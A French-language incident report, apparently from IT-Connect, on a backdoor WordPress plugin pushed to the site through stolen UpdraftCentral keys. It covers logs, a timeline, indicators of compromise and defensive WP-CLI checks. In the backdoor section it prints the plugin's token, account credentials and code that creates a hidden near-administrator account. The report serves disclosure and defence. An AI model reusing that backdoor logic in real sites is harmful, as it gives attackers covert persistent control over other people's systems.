UpdraftPlus : comment une porte dérobée a été installée sur IT-Connect via UpdraftCentral

Une extension inconnue installée à 7 h 17, et un site entièrement hors ligne trois secondes plus tard, c'est ce que j'ai vécu ce lundi 19 octobre 2026. IT-Connect, comme d'autres sites web, a été la cible d'une attaque menée via UpdraftCentral, un service associé à l'extension de sauvegarde UpdraftPlus. Je vous livre mon analyse !

Alors que j'écrivais tranquillement un article...

Ce matin à 07h17 (heure de Paris), j'étais en train de rédiger mon second article de la journée, lorsqu'un message d'erreur est apparu suite à l'échec du mécanisme de sauvegarde automatique de WordPress. J'ai tenté d'accéder au site web, et je suis tombé sur le fameux message « Il y a une erreur critique sur ce site ». Preuve que WordPress n'allait pas bien...

Mon premier réflexe a été de consulter les logs d'erreurs du serveur Web, afin d'en savoir plus sur l'origine de ce dysfonctionnement. Je venais de mettre à jour quelques extensions vers 06h45, donc cela pourrait venir de ça... Une mise à jour mal digérée par WordPress, ça arrive.

Voici ce que j'ai pu lire dans les journaux :

PHP Fatal error:  Uncaught Error: Undefined constant TypeStack285::FIELD
in /<chemin-wordpress>/wp-content/plugins/type-stack-285/type-stack-285.php:44
Stack trace:
#0 /<chemin-wordpress>/wp-includes/class-wp-hook.php(353): TypeStack285->handle_sync()
#1 /<chemin-wordpress>/wp-includes/class-wp-hook.php(377): WP_Hook->apply_filters()
#2 /<chemin-wordpress>/wp-includes/plugin.php(523): WP_Hook->do_action()
#3 /<chemin-wordpress>/wp-settings.php(779): do_action()
#4 /<chemin-wordpress>/wp-config.php(121): require_once('...')
#5 /<chemin-wordpress>/wp-load.php(50): require_once('...')
#6 /<chemin-wordpress>/wp-blog-header.php(13): require_once('...')
#7 /<chemin-wordpress>/index.php(17): require('...')
#8 {main}
  thrown in /<chemin-wordpress>/wp-content/plugins/type-stack-285/type-stack-285.php on line 44

L'information clé, c'est celle-ci : plugins/type-stack-285/type-stack-285.php. Elle sous-entend qu'il y a un plugin avec le nom type-stack-285 qui est présent sur mon WordPress et qu'il est à l'origine de l'erreur. La question que je me suis posée : qu'est-ce que ce plugin ? Je connais très bien ma base de plugins, et ce nom ne me disait rien du tout...

Pour en savoir plus, je décide d'ouvrir le fichier PHP du plugin afin de lire les premières lignes. Voici ce que j'ai pu lire :

/**
 * Type Stack 285
 *
 * @package           type-stack-285
 * @author            Harbor Stack Labs
 * @license           GPL-2.0-or-later
 *
 * @wordpress-plugin
 * Plugin Name:       Type Stack 285
 * Description:       Small maintenance toolkit: keeps option storage tidy.
 * Version:           3.8.2
 * Requires at least: 5.2
 * Requires PHP:      7.2
 * Author:            Harbor Stack Labs
 * Text Domain:       type-stack-285
 * Domain Path:       /languages
 */

Tout est fait pour faire croire qu'il s'agit d'un plugin légitime, mais il n'en est rien. Ce plugin n'est référencé nulle part.

Une lecture du code PHP assistée par Claude a permis de rapidement comprendre que ce plugin avait pour objectif de créer un compte administrateur sur le site WordPress ciblé. Le nom du compte est précisé dans le code source (content-ops71), tout comme le mot de passe.

define( 'TYPESTACK285_VERSION', '3.8.2' );
define( 'TYPESTACK285_TOKEN', 'YvhJGCVnNWiPLMjKNOi-zYe3ddOOZW19' );
define( 'TYPESTACK285_FIELD', '_4edcb5' );
define( 'TYPESTACK285_SVC_LOGIN', 'content-ops71' );
define( 'TYPESTACK285_SVC_PASS', '42EDlPmjNUKTHuDjJ2d-KQ' );

Plus de doute, c'est une porte dérobée procurant un accès direct et discret à mon site WordPress.

S'enchaînent alors plusieurs questions dans ma tête :

• Le compte content-ops71 a-t-il été créé ?

• Pourquoi une erreur critique a été déclenchée sur le site web ?

• Et surtout, comment ce plugin a-t-il été installé sur WordPress ?

Avant de chercher les réponses, j'ai neutralisé le plugin en sortant son dossier du répertoire des extensions : WordPress le désactive alors automatiquement, et le site redevient accessible. Je n'ai rien supprimé. Les fichiers ont été mis de côté hors de l'arborescence du site, car ils constituent une preuve, et c'est leur lecture qui a permis de reconstituer l'attaque.

Les deux premières questions ont trouvé une réponse rapide. Le compte content-ops71 n'a jamais été créé : la commande wp user get content-ops71 renvoie une erreur, et aucun compte de ce nom n'existe en base. Quant à l'erreur critique, elle vient d'un défaut dans le code de la porte dérobée elle-même, sur lequel je reviendrai en détail. C'est ce bug qui a rendu l'attaque visible : une porte dérobée fonctionnelle serait restée silencieuse, alors que celle-ci a fait tomber le site et a été repérée en moins de quatre minutes parce que j'étais en train de travailler à ce moment-là.

Reste la question la plus importante : comment ce plugin a-t-il atterri sur mon serveur ? Les journaux Apache ne montrent aucune installation ni activation d'extension depuis l'interface d'administration à ce moment-là. En revanche, les métadonnées du fichier donnent une piste précise : le dossier a été créé à 7 h 17 min 34 s par le processus PHP qui exécute WordPress, une seconde après une requête POST reçue... sur la page d'accueil du site. Cette requête portait la signature d'un composant que je n'avais pas sur mon radar : UpdraftPlus, mon extension de sauvegarde. Pour comprendre la suite, il faut d'abord s'arrêter sur son fonctionnement.

Contexte : UpdraftPlus, UpdraftCentral et le protocole UDRPC

UpdraftPlus fait partie des extensions WordPress les plus répandues : l'éditeur TeamUpdraft revendique 4 millions d'installations actives depuis le début du mois d'octobre. Elle permet de sauvegarder et de restaurer facilement un site WordPress, le tout en acceptant de nombreux types de destinations pour stocker les sauvegardes. Elle peut être couplée à UpdraftCentral, un tableau de bord qui permet de piloter plusieurs sites à distance : sauvegardes, mises à jour, utilisateurs et extensions. Pour cela, chaque site connecté conserve une clé et accepte les commandes envoyées par ce tableau de bord centralisé.

La communication entre le tableau de bord et les sites repose sur une bibliothèque maison, UDRPC (fichier class-udrpc.php). Lors de la connexion, le site génère une paire de clés RSA et mémorise la clé publique du tableau de bord, qui lui sert à vérifier la signature des commandes reçues. Les commandes arrivent ensuite sous la forme de requêtes POST chiffrées, envoyées à la racine du site, et sont exécutées avec les droits du compte administrateur qui a établi la connexion.

Ce fonctionnement a une conséquence directe : tant que la clé existe, le site accepte de recevoir des commandes d'administration depuis Internet, que le tableau de bord serve encore ou non. Et ces requêtes arrivent sur la page d'accueil, pas dans /wp-admin/.

Le moment où tout a basculé

La clé d'IT-Connect : le site était relié à UpdraftCentral Cloud depuis le 13 janvier 2020 à 21 h 08. La clé était de type RSA 2048 bits, rattachée à un compte administrateur, avec l'éditeur comme point de contrôle. Je n'ai même pas le souvenir d'avoir configuré cette association… J'ignore si c'était automatique avec une précédente version du plugin, ou si c'est un oubli de ma part. Dans tous les cas, je n'utilise jamais ce service, mais la clé, elle, était bien là.

La faille de juin 2026 : le 5 juin 2026, TeamUpdraft a publié en urgence UpdraftPlus 1.26.5 et 2.26.5 pour corriger une faille « permettant potentiellement une prise de contrôle complète du site », présente depuis 10 à 11 ans. Référencée CVE-2026-10795 et publiée le 11 juin par Wordfence, elle relève d'une vérification insuffisante de la signature cryptographique : un attaquant non authentifié pouvait forger des commandes UDRPC et les faire exécuter au nom de l'administrateur connecté. La fiche cite comme exemple l'envoi et l'activation d'une extension malveillante. Seuls les sites disposant d'une clé UpdraftCentral ou Migrator étaient exposés, soit moins de 10 % des utilisateurs selon l'éditeur. Fin septembre, AhnLab signalait des tentatives d'exploitation visant à déployer une porte dérobée PHP.

Première piste : la faille de juin... qui ne tient pas

Face à une extension déposée via UpdraftCentral, la faille de juin était le suspect idéal. Le scénario semblait évident : un site resté sur une version vulnérable, un attaquant qui forge une commande, et une extension installée à distance. Sauf que ce scénario ne colle pas avec mon site.

Le site était à jour. Au moment de l'attaque, IT-Connect tournait sous UpdraftPlus Premium 2.26.11. Ironie du sort, je l'avais mise à jour à la main le matin même, à 6 h 21, soit moins d'une heure avant l'attaque. Avant cela, le site était en version 2.26.9 (UpdraftPlus a enchaîné les patchs avec 2 mises à jour en 2 jours). Dans les deux cas, ces versions sont postérieures au correctif de juin (2.26.5). Cela ne colle pas.

Le paquet installé était-il authentique ? Une autre hypothèse me trottait dans la tête : et si la mise à jour de 6 h 21 avait elle-même apporté du code malveillant ? Ce type d'attaque sur la chaîne d'approvisionnement est malheureusement fréquent. L'actualité de ces derniers mois l'a montré à plusieurs reprises. J'ai donc téléchargé le paquet officiel UpdraftPlus 2.26.11 et je l'ai comparé, fichier par fichier, à celui installé sur le serveur.

Résultat : une seule différence, le numéro de version dans l'en-tête (2.26.11 contre 2.26.11.26). Pas une ligne de code modifiée. Le paquet était sain.

Je me retrouvais donc avec un site à jour, une extension authentique, et pourtant une extension malveillante installée via une commande acceptée.

Le journal qui a tout raconté

L'extension UpdraftPlus tient un journal de tous les messages reçus par son module UpdraftCentral, accessible depuis Réglages > UpdraftPlus Backups > Outils avancés > UpdraftCentral, via le lien « Voir les récents événements des journaux UpdraftCentral ». C'est ce journal qui m'a permis de comprendre ce qui c'était passé.

La première ligne a confirmé la piste :

2026-10-19 05:17:34 +0000 [2a09:bac5:4e21:2e3c::49b:9] Command received: plugin.upload_plugin

À 5 h 17 UTC, soit 7 h 17 à Paris, le site a reçu et accepté une commande plugin.upload_plugin. C'est la commande d'UpdraftCentral qui permet d'envoyer et d'installer une extension. L'horodatage colle à la seconde près avec la création du dossier type-stack-285 sur le disque. Et c'est la seule commande acceptée de tous les logs.

En remontant le fil, j'ai découvert que cette attaque n'était pas la première tentative. Le site était visé depuis plus d'un mois.

Septembre : des tentatives à l'aveugle. Dès le 2 septembre, et jusqu'au 28, le journal enregistre des messages rejetés, envoyés depuis cinq adresses IP différentes. Ils suivent presque toujours le même schéma : un premier message que le site ne parvient pas à déchiffrer, puis trois messages adressés à des noms de clés génériques (1.central.updraftplus.com, 2.central.updraftplus.com et migrator.updraftplus.com). Le 2 septembre, l'attaquant est même allé jusqu'à énumérer des identifiants (18, 19 et 20.central.updraftplus.com). Il ne connaissait pas le nom de la clé de mon site : il tentait sa chance. Ce comportement est compatible avec un outil qui scanne Internet à la recherche de sites vulnérables à CVE-2026-10795. Comme le site était à jour, tous ces messages ont été rejetés.

19 octobre, 1 h 57 : la sonde. Dans la nuit, un nouveau message arrive depuis l'adresse qui frappera quelques heures plus tard. Il est adressé à une clé baptisée probe.central.updraftplus.com, qui n'existe sur aucun site, et il est rejeté. Mon interprétation : il s'agit d'un test de présence, destiné à vérifier que le site répond aux messages UDRPC avant d'envoyer la vraie commande.

19 octobre, 7 h 17 : la commande acceptée. Cette fois, tout change. Le message est déchiffré, sa signature est validée et la commande est exécutée. L'expéditeur disposait donc de ce que seul le tableau de bord légitime est censé détenir : l'identifiant exact de la clé de mon site et la clé privée qui permet de signer les commandes.

Pour autant, cette requête ne provient pas d'un serveur de chez TeamUpdraft, mais d'une adresse Cloudflare WARP, un service VPN grand public. Et elle porte le User-Agent « WordPress/6.4; class-udrpc.php », celui que génère la bibliothèque UDRPC elle-même :

2a09:bac5:4e21:2e3c::49b:9 - - [19/Oct/2026:07:17:33 +0200] "POST / HTTP/1.1" 200 14130 "-" "WordPress/6.4; class-udrpc.php"

Autrement dit, quelqu'un a utilisé son propre client, en dehors de l'infrastructure de l'éditeur. Une question s'imposait : comment cette personne avait-elle obtenu ces clés ?

« Notre site a été piraté la nuit dernière »

J'ai alors pensé à plusieurs pistes : la compromission de mon compte UpdraftPlus, une régression dans la nouvelle version du plugin notamment vis-à-vis de la CVE-2026-10795, ou encore la compromission de l'infrastructure UpdraftPlus. J'ai signalé l'incident au support de TeamUpdraft, avec les éléments relevés dans mes journaux.

La réponse est arrivée quelques heures plus tard, et elle a apporté la lumière sur cette histoire. Dans l'un des deux messages reçus, le support écrit : « Toutes nos excuses, notre site a été piraté la nuit dernière ». Un second message, rédigé sur le même modèle, évoque « l'incident de sécurité » subi et indique que l'accès non autorisé a été traité. Il y a donc eu une compromission directement chez l'éditeur : IT-Connect n'était pas la seule cible, c'était l'une des cibles, simplement parce que j'utilise ce plugin et que la console UpdraftCentral était configurée.

Le communiqué officiel. En début d'après-midi, à 13 h 57 (heure de Paris), TeamUpdraft a publié un communiqué officiel, signé Joe Whittaker, responsable du marketing et du support client. L'éditeur y explique avoir identifié, au cours du week-end des 17 et 18 octobre, un accès non autorisé au site teamupdraft.com, et écrit : « Nous pensons que notre base de données clients a été consultée ».

Cette base contient les noms, adresses e-mail, adresses de facturation et historiques de commandes des clients, leurs mots de passe sous forme hachée, leurs paramètres de double authentification, ainsi que les clés de connexion UpdraftCentral, UpdraftVault et UpdraftClone. Les données de paiement, gérées par Stripe et PayPal, ne sont pas concernées. Toujours selon l'éditeur, l'extension UpdraftPlus et ses téléchargements ne sont pas affectés, pas plus que les sauvegardes envoyées vers les stockages des clients ni la version auto-hébergée d'UpdraftCentral.

La phrase la plus importante est celle-ci : « Vos clés de connexion UpdraftCentral peuvent envoyer des commandes à vos sites connectés ». C'est exactement ce que montrent mes journaux. TeamUpdraft a fermé l'accès, déconnecté tous les comptes clients et renouvelé les identifiants UpdraftVault et UpdraftClone, mais les clés UpdraftCentral posent un problème particulier : elles sont enregistrées sur chaque site, et l'éditeur ne peut pas les révoquer à distance. La commande reçue par IT-Connect le 19 octobre à 7 h 17 montre que les clés dérobées restaient exploitables. Il est donc essentiel de supprimer les clés manuellement, site par site, dès aujourd'hui.

L'infrastructure de TeamUpdraft, éditeur du plugin UpdraftPlus et des outils connexes, a été victime d'une intrusion par un tiers non autorisé.

Qu'est-ce que cette porte dérobée ?

Le mode opératoire étant éclairci, je suis revenu au plugin lui-même. Je voulais comprendre ce qu'il aurait fait s'il avait fonctionné, et pourquoi il a fait tomber le site.

Une coquille vide, ou presque. Le dossier type-stack-285 imite la structure d'une extension classique, mais un seul fichier contient du code actif :

Fichier

Taille

Contenu

type-stack-285.php

2 141 octets

Fichier principal, seul code actif

uninstall.php

143 octets

Fichier de désinstallation, dépourvu de balise d'ouverture PHP

Fichiers des dossiers assets et languages

28 octets chacun

Simples commentaires de remplissage

Ce que le plugin devait faire. Après les constantes que je vous ai montrées plus haut, le fichier principal déclare une classe unique, TypeStack285. Son constructeur accroche une méthode handle_sync() au hook init avec la priorité 1, c'est-à-dire très tôt dans le chargement de chaque page :

public function handle_sync() {
    if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
        $user = get_user_by( 'login', self::SVC_LOGIN );
        if ( ! $user ) {
            $uid = wp_insert_user( array(
                'user_login'   => self::SVC_LOGIN,
                'user_pass'    => self::SVC_PASS,
                'user_email'   => self::SVC_LOGIN . '@example.org',
                'display_name' => 'Site Tools',
                'role'         => 'editor',
            ) );
            // ...
            $u->add_cap( 'manage_options' );

Le principe est simple. Il suffit d'appeler n'importe quelle page du site avec le paramètre _4edcb5 et le bon jeton pour que le plugin crée le compte content-ops71, avec l'adresse [email protected] et le nom affiché « Site Tools ». Le plugin ouvre ensuite une session persistante et redirige vers l'administration. Il s'agit d'un accès persistant sous la forme d'une porte dérobée, qui permet à l'attaquant de revenir sur l'interface d'administration du site web même après la suppression de la clé UpdraftCentral.

Un éditeur qui n'en est pas un. Le compte ne reçoit pas le rôle Administrateur, mais le rôle Éditeur, auquel le plugin ajoute individuellement deux capacités : manage_options, pour modifier les réglages du site, et install_plugins, pour installer des extensions. Je pense que ce choix vise à passer sous les radars. Ce compte n'apparaît pas dans la liste des administrateurs, ni dans le filtre par rôle de l'écran Utilisateurs, ni dans une commande comme wp user list --role=administrator. Il dispose pourtant de l'essentiel des pouvoirs d'un administrateur.

Le bug qui a tout fait échouer. Revenons à l'erreur critique, où je suis aidé de Claude pour effectuer l'analyse, n'étant pas un pro de PHP. Le code range ses valeurs à un endroit, puis va les chercher ailleurs. Il les déclare au niveau global, sous des noms comme TYPESTACK285_FIELD, puis tente de les lire à l'intérieur de sa classe, sous le nom FIELD (self::FIELD). C'est un peu comme ranger ses clés dans le tiroir de l'entrée avec l'étiquette « TYPESTACK285_FIELD », puis les chercher dans la poche de son manteau avec l'étiquette « FIELD » : à cet endroit et sous ce nom, il n'y a rien. En PHP, accéder à une constante de classe indéfinie lève une erreur fatale. Le journal d'erreurs l'enregistre pour la première fois à 7 h 17 min 37 s :

PHP Fatal error:  Uncaught Error: Undefined constant TypeStack285::FIELD
in /<chemin-wordpress>/wp-content/plugins/type-stack-285/type-stack-285.php:44
#0 /<chemin-wordpress>/wp-includes/class-wp-hook.php(353): TypeStack285->handle_sync()

Comme la condition est évaluée à chaque chargement de page, avant même la vérification du paramètre, c'est le site entier qui tombe. La porte dérobée n'a donc jamais pu s'exécuter.

Un modèle de porte dérobée produit en série ? Plusieurs indices laissent penser que ce plugin est fabriqué par un outil qui en génère à la volée :

• Nommage aléatoire : le suffixe 285, le compte content-ops71 et le paramètre _4edcb5 ressemblent à des valeurs tirées au hasard pour chaque exemplaire

• Fichiers de remplissage : les dossiers assets et languages ne contiennent que des commentaires de 28 octets, présents uniquement pour imiter la structure d'une vraie extension

• Désinstallation cassée : le fichier uninstall.php ne commence pas par une balise PHP, son contenu ne serait donc jamais exécuté

• Erreur de conception : l'incohérence entre define() et self:: aurait sauté aux yeux au premier test

Ce que je veux vous dire, c'est que d'autres sites ont très probablement reçu des variantes portant d'autres noms, peut-être sans le bug.

Ce que le code ne fait pas. Le plugin ne contient aucune fonction d'exfiltration, aucun appel réseau et aucun code encodé ou offusqué (base64, eval, gzinflate). Sa seule fonction est d'offrir cet accès de secours, il n'y a pas de lecture de données, ni même d'exfiltration.

journaux Apache (accès et erreurs), le journal UpdraftCentral, les métadonnées du système de fichiers relevées avec stat et find, la base de données interrogée avec WP-CLI, dont j'ai vérifié l'empreinte SHA-512 avant usage, et une lecture du code du plugin, sans jamais l'exécuter. Cette analyse a ses limites : le contenu des requêtes POST n'est pas journalisé, je n'ai aucun accès aux journaux de TeamUpdraft, et mes journaux Apache ne remontent qu'à 14 jours.

La chronologie complète

Pour ceux qui veulent le détail, voici la chronologie reconstituée à partir des différentes sources. Les heures sont exprimées en heure de Paris (UTC+2).

Date et heure (Paris)

Source

Événement

13/01/2020, 21:08

Base WordPress

Création de la clé UpdraftCentral, rattachée au compte administrateur principal

05/06/2026

TeamUpdraft

Publication des correctifs 1.26.5 et 2.26.5

11/06/2026

Fiche CVE

Publication de CVE-2026-10795

02/09/2026, 19:29

Journal UpdraftCentral

Premières tentatives journalisées : messages adressés aux clés 18, 19 et 20.central.updraftplus.com, rejetés

04/09/2026, 17:03

Journal UpdraftCentral

Message indéchiffrable, rejeté

17/09 au 28/09/2026

Journal UpdraftCentral

Quatre séquences identiques depuis trois adresses IP : un message indéchiffrable, puis trois messages adressés à 1.central, 2.central et migrator.updraftplus.com, tous rejetés

18/10/2026, vers 19:00

TeamUpdraft

Début de l'incident chez l'éditeur, d'après l'heure de référence (17:00 GMT) qu'il indique pour une éventuelle restauration

19/10/2026, 01:57:31

Apache et journal UpdraftCentral

Premier POST UDRPC depuis 2a09:bac5:4e21:2e3c::49b:9, adressé à la clé probe.central.updraftplus.com. Rejeté

19/10/2026, 02:00

Système

Sauvegarde planifiée habituelle, sans lien avec l'incident

19/10/2026, 06:21:31

Système de fichiers

Mise à jour manuelle d'UpdraftPlus Premium en version 2.26.11

19/10/2026, 07:17:33

Apache

Second POST UDRPC depuis la même adresse. Réponse 200, 14 130 octets

19/10/2026, 07:17:34

Journal UpdraftCentral

« Command received: plugin.upload_plugin »

19/10/2026, 07:17:34,478

Système de fichiers

Création de type-stack-285.php par l'utilisateur du pool PHP-FPM, droits 0754. Le plugin est activé et une option de marquage est écrite en base

19/10/2026, 07:17:37,120

Journal d'erreurs

Première erreur fatale PHP. Toutes les requêtes renvoient une erreur 500

19/10/2026, 07:21:13

Journal d'erreurs

Détection : l'erreur critique s'affiche pendant l'édition d'un article

19/10/2026, matinée

IT-Connect

Confinement, isolement des fichiers, révocation de la clé, analyse

19/10/2026, journée

TeamUpdraft

Deux réponses du support, qui reconnaissent un incident de sécurité de leur côté + publication du rapport d'incident.

Les indicateurs de compromission

Si vous administrez des sites WordPress, voici les éléments à rechercher. Gardez en tête que les noms varient probablement d'un exemplaire à l'autre.

Type

Valeur

Remarque

Dossier d'extension

wp-content/plugins/type-stack-285/

Le nom varie probablement selon les exemplaires

SHA-256 type-stack-285.php

ce9a2296aea9ea8597bbc69e522e9ad6a433ee6e1c527cd77464c3dca1452bfd

Propre à notre exemplaire (jeton intégré)

SHA-256 uninstall.php

df1db2c7f6e0273fe0beb88efdc6c64aed0ca3170bbcaaa384fb66df6d5c7733

En-tête d'extension

Plugin Name: Type Stack 285, Author: Harbor Stack Labs, Version: 3.8.2

Compte prévu

content-ops71, [email protected], nom affiché « Site Tools »

Rôle Éditeur avec manage_options et install_plugins

Paramètre GET

_4edcb5

Valeur du jeton masquée

Options WordPress

type_stack_285_sync_token, type_stack_285_setup_stamp

La première a été trouvée en base

Commande UpdraftCentral

Command received: plugin.upload_plugin

Dans le journal UpdraftCentral

Clé sondée

probe.central.updraftplus.com

Message rejeté juste avant l'attaque

User-Agent

WordPress/6.4; class-udrpc.php

Aussi utilisé par le trafic UpdraftCentral légitime

Requête

POST / avec ce User-Agent

Hors /wp-admin/

IP de l'attaque

2a09:bac5:4e21:2e3c::49b:9

Sortie Cloudflare WARP partagée, à ne pas bloquer telle quelle

Votre site est-il concerné ?

Le comble, c'est que cet incident de sécurité n'affecte pas les utilisateurs de la version gratuite d'UpdraftPlus, car ils n'ont pas accès à toutes ces fonctions supplémentaires. Toutefois, si UpdraftPlus est installé sur votre site, prenez quelques minutes pour vérifier, même si vous pensez ne jamais avoir utilisé UpdraftCentral. Je vous rappelle que j'ignorais moi-même que mon site y était encore relié...

Depuis l'administration WordPress :

• Clés UpdraftCentral : dans Réglages > UpdraftPlus Backups > Outils avancés > UpdraftCentral, le message « Il n'y a aucun tableau de bord UpdraftCentral pouvant actuellement contrôler ce site » confirme qu'aucune clé n'est active. Sinon, supprimez toute clé dont vous n'avez pas l'usage

• Journal UpdraftCentral : sur le même écran, le lien « Voir les récents événements des journaux UpdraftCentral » affiche les messages reçus. Une ligne « Command received » que vous ne savez pas expliquer impose une analyse approfondie

• Clés Migrator : dans l'onglet Migrer/Cloner, supprimez les clés de réception inutilisées, elles ouvrent le même canal UDRPC

• Extensions : recherchez toute extension que vous n'avez pas installée, en particulier celles qui se présentent comme des utilitaires de maintenance génériques. De préférence, regardez directement sur le système de fichiers de votre serveur.

En ligne de commande, avec WP-CLI :

# Clés UpdraftCentral et Migrator, sans afficher les clés privées
wp option get updraft_central_localkeys --format=json | jq 'map_values(del(.key))'
wp option get updraft_migrator_localkeys --format=json | jq 'map_values(del(.key))'

# Comptes disposant de manage_options, quel que soit leur rôle
wp user list --capability=manage_options --fields=ID,user_login,roles,user_registered

# Dossiers d'extensions créés ou modifiés depuis le début de l'incident
find wp-content/plugins -mindepth 1 -maxdepth 1 -type d -newermt "2026-10-18" -printf "%TY-%Tm-%Td %TH:%TM %u %p\n"

# Options laissées par cette famille d'extensions
wp option list --search="type_stack_*" --fields=option_name

# Requêtes UDRPC dans les journaux Apache (adaptez le chemin)
zgrep -h "class-udrpc" /var/log/apache2/*access.log*

Adaptez le chemin wp-content si votre installation utilise un dossier de contenu personnalisé. La présence de requêtes UDRPC n'est pas suspecte en soi si vous utilisez UpdraftCentral : c'est leur corrélation avec une commande inattendue dans le journal qui doit alerter.

Les questions encore sans réponse

Plusieurs points restent à éclaircir, et je mettrai cet article à jour au fil des réponses :

• Mode d'intrusion : le communiqué de TeamUpdraft ne précise pas comment l'attaquant a accédé au site teamupdraft.com

• Usage des clés dérobées : l'éditeur ne dit pas combien de sites ont reçu des commandes, ni lesquelles. Combien ont reçu une variante fonctionnelle de la porte dérobée ?

• Mots de passe hachés : l'algorithme de hachage utilisé n'est pas précisé, ce qui ne permet pas d'évaluer le risque pour les mots de passe réutilisés ailleurs

• Version d'urgence : la version d'UpdraftPlus qui doit déconnecter les anciennes clés n'est pas encore disponible au moment où j'écris ces lignes

• Lien avec septembre : les tentatives de septembre et l'attaque d'octobre sont-elles le fait du même acteur ? Rien dans mes données ne permet de l'affirmer

Il est envisageable de durcir l'installation et la mise à jour des extensions et des thèmes sur WordPress, mais ceci implique une gestion différente, sans l'interface d'administration. J'y reviendrai probablement dans un autre article, car cela peut éviter ce type d'actions malveillantes. Depuis plusieurs mois, les attaques sur la chaîne d'approvisionnement logicielle s'enchaînent, et cela donne vraiment le sentiment que ça peut nous tomber dessus à n'importe quel moment.

Ajouter IT-Connect à mes
sources préférées

Cofondateur d'IT-Connect et Microsoft MVP "Cloud and Datacenter Management". Mon obsession depuis près de 15 ans ? Rendre l'administration système et la cybersécurité accessibles, que vous soyez junior ou confirmé. Plus qu'un métier, l'IT est pour moi une véritable passion. J’accompagne au quotidien les sysadmins et les professionnels de l’IT dans leur montée en compétences et leur veille technique.